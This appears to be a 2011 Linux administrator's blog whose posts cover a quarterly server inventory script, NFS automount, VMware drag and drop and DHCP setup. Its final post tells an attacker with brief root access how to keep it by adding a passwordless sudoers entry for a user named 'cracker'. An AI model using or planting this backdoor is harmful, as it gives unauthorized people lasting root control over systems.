Friday, August 12, 2011

Linux QRTask Commands

Hi,

Those who working as a linux administrator may have came across Quarterly Review Task (QRTask).
Its gathering of information about server after every 4 months. We generally perform QRTASK's its very easy to do, and here are few of important commands used for QRTASK :

You can save below lines as shell script with .sh extension :
-----------------------------------------------------------


echo ---------------------------------------
echo "Server Name"
echo ---------------------------------------
hostname

echo ---------------------------------------
echo "Server Model"
echo ---------------------------------------
dmidecode | grep -m1 "Product Name"

echo ---------------------------------------
echo "System Firmware Revision"
echo ---------------------------------------
dmidecode -s bios-version

echo ---------------------------------------
echo "OS Type"
echo ---------------------------------------
uname -a


echo --------------------------------------
echo "HBA"
echo --------------------------------------
lspci |grep -i -e fib -e hba

echo ---------------------------------------
echo "OS Backups"
echo ---------------------------------------
cat /proc/mdstat

echo ---------------------------------------
echo "System INformation"
echo ---------------------------------------
dmidecode -t system


echo ---------------------------------------
echo "BIOS Information"
echo ---------------------------------------
dmidecode -t bios

echo ---------------------------------------
echo "Processor INformation"
echo ---------------------------------------
dmidecode -t processor





echo ---------------------------------------
echo "CPU information"
echo ---------------------------------------
cat /proc/cpuinfo
           
echo ---------------------------------------
echo "MEMORY-USAGE"
echo ---------------------------------------
cat /proc/meminfo  

echo ---------------------------------------
echo "SWAP"
echo ---------------------------------------
swapon -s

echo ---------------------------------------
echo "I/O throughput"
echo ---------------------------------------
iostat




echo ---------------------------------------
echo "Disk Space"
echo ---------------------------------------
df -h

echo ---------------------------------------
echo "FIRMWARE REVISION"
echo ---------------------------------------
dmidecode --type bios




echo ---------------------------------------
echo "NETWORK INTERFACES"
echo ---------------------------------------

ifconfig | grep eth


echo ---------------------------------------
echo "NETWORK-INFORMATION"
echo ---------------------------------------

ethtool eth0;ethtool eth1;ethtool eth2;ethtool eth3


echo ---------------------------------------
echo "PATCH-LIST"
echo ---------------------------------------
rpm -qa>rpm.txt

echo ---------------------------------------
echo "User List"
echo ---------------------------------------
cat /etc/passwd



This information is then documented for official purpose.

Thanks & Regards,
Girish...

Tuesday, August 9, 2011

NFS Automount issue in Office

Hi ,

This posts are not for advanced users as they all know these common issues.
I came across this issue regarding NFS automount in my office.
I checked o/p of : df -h but nfs share was not shown in o/p

We though that issue might be from Server end d wanted to check nfs server side , but one thing I didn't know was when we perform AUTO-MOUNTING of NFS share , unless user request for share it is not mounted on specified directory , and that is why client tool was generating message like "share XXX not mounted on XXX"

Finally we suppressed that alarm and now its working fine. :)

Thanks & Regards,
Girish...


Saturday, June 11, 2011

How to enable VMWare Drag & Drop Feature ?

Hi ,

Before writing this post even i didn't know about how to drag and drop in VMware tool , and this is why i decided to post it on my blog!..

Many times we need to simply copy files from Host OS to vmware os and this feature is gr8 help for all of us.

Steps :
-------
1) Go to VMWare setting > Options > Guest Isolation.
2) Select "Enable drag and drop to and from VM" and "Enable Copy paste to and from this VM"
3) Go to VM option of Virtual Machin.
4) Click on Install VM Tools , so it will automatically install VM Tools in your operating system inside VM

Thats It!

Now you can simply drag and drop from your host OS !...Thats really Cool!...

Happy Blogging!


Tuesday, June 7, 2011

Difference Between Unix flavours Links

Hi  Friends ,

Here are some of links that will let us know difference between Linux Unix , HP UX etc.

I will post more links here in this post , Keep visiting.

Thanks & Regards,
Girish

Thursday, May 5, 2011

DHCP Server RHEL 5

Hello Friends ,

For RHEL5 setting up DHCP server is very easy , just you need to follow steps given in below link.

http://oob.freeshell.org/nzwireless/dhcpd.html

Thank You!

Sudo Users With No Password!

How it will be if you get root access for 2 minutes somewhere and afterwards you want to get root access for FULL TIME! If admin is not watching sudo ! (Real Scenario)

Attackers somehow gets 2 minutes access to ROOT!

Step 1 : Add user with your favorite Name mine is cracker

Step 2 : visudo

Step 3 : Scroll down till "Allow root to run any command"

Add Line :

cracker       ALL=NOPASSWD:       ALL


Thats it!

Now save and exit!

Log in with your new user cracker directly without password!!!

Thank You!